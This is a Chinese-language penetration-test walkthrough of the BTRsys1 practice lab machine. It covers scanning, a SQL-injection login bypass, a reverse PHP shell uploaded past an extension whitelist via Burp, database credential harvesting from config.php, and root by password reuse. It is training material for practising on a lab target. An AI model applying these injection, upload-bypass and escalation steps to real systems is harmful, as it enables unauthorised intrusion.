BTRsys1渗透,该靶机没有什么难度,无聊拿来练一练吧!!!
期待BTRsys-2靶机。。。
靶机IP:192.168.8.135
改一下hosts,加快访问速度:
192.168.8.135 btr.local
nmap全端口扫
nmap -sS -Pn -A -p- -n 192.168.8.135

开放的端口和服务:
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.6.1p1
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
sql注入绕过登录
dir爆目录:
http://btr.local/hakkimizda.php
http://btr.local:80/uploads/
http://btr.local:80/login.php/
这个靶机太草率了吧,啥重要的信息都没有,就一个登录入口。
这要么爆破,要么注入、绕过登录。。。

右键查看下源码:

重要的源码:
var str=user.substring(user.lastIndexOf("@")+1,user.length);
if((pwd == "'")){
alert("Hack Denemesi !!!");
}
else if (str!="btrisk.com"){
alert("Yanlis Kullanici Bilgisi Denemektesiniz");
substring就是截取,从“@”符号后一位开始截取到输入的user账号的长度,即从@到结束;且str中必须是btrisk.com
pwd很明显,直接随便构造一个注入
账号:123@btrisk.com
密码:' or 1=1 -- -
直接绕过的登录到http://btr.local/personel.php

burp截包-上传文件getshell
可以上传,直接上反弹phpshell

咦~,白名单写死了,只能是JPG或者PNG,那就将shell.php改成shell.jpg
burp截包,截断将jpg后缀改成php后缀,go,上传成功

在
http://btr.local/uploads/
中可以看到上传的反弹phpshell
在kali中
nc -lvp 4444
打开监听,等待反弹
提权
进入shell中,到网站根目录看下配置文件config.php

$con=mysqli_connect("localhost","root","toor","deneme");
发现本地数据库deneme可以登录
先用python切换到bash:
python -c 'import pty;pty.spawn("/bin/bash")'
直接登录数据库看看有什么
mysql -u root -p

mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| deneme |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.00 sec)
mysql> use deneme;
use deneme;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
show tables;
+------------------+
| Tables_in_deneme |
+------------------+
| user |
+------------------+
1 row in set (0.00 sec)
mysql> select * from user
select * from user
-> ;
;
+----+-------------+------------------+-----------+---------+-------------+---------+-------------+--------------+
| ID | Ad_Soyad | Kullanici_Adi | Parola | BabaAdi | BabaMeslegi | AnneAdi | AnneMeslegi | KardesSayisi |
+----+-------------+------------------+-----------+---------+-------------+---------+-------------+--------------+
| 1 | ismail kaya | ikaya@btrisk.com | asd123*** | ahmet | muhasebe | nazli | lokantaci | 5 |
| 2 | can demir | cdmir@btrisk.com | asd123*** | mahmut | memur | gulsah | tuhafiyeci | 8 |
+----+-------------+------------------+-----------+---------+-------------+---------+-------------+--------------+
密码都是:asd123***
直接su root,

root成功
总结
1、该靶机的重点在于只给你一个登陆界面,啥信息都没有的情况下,要么爆破,要么注入、绕过。
2、后台上传界面,而且上传后也没有检查文件名,截包绕过白名单限制上传。
BTRsys1靶机百度云下载
链接:https://pan.baidu.com/s/1T56kPpQkuh3QAp-fveV6UQ
提取码:34zn
网友评论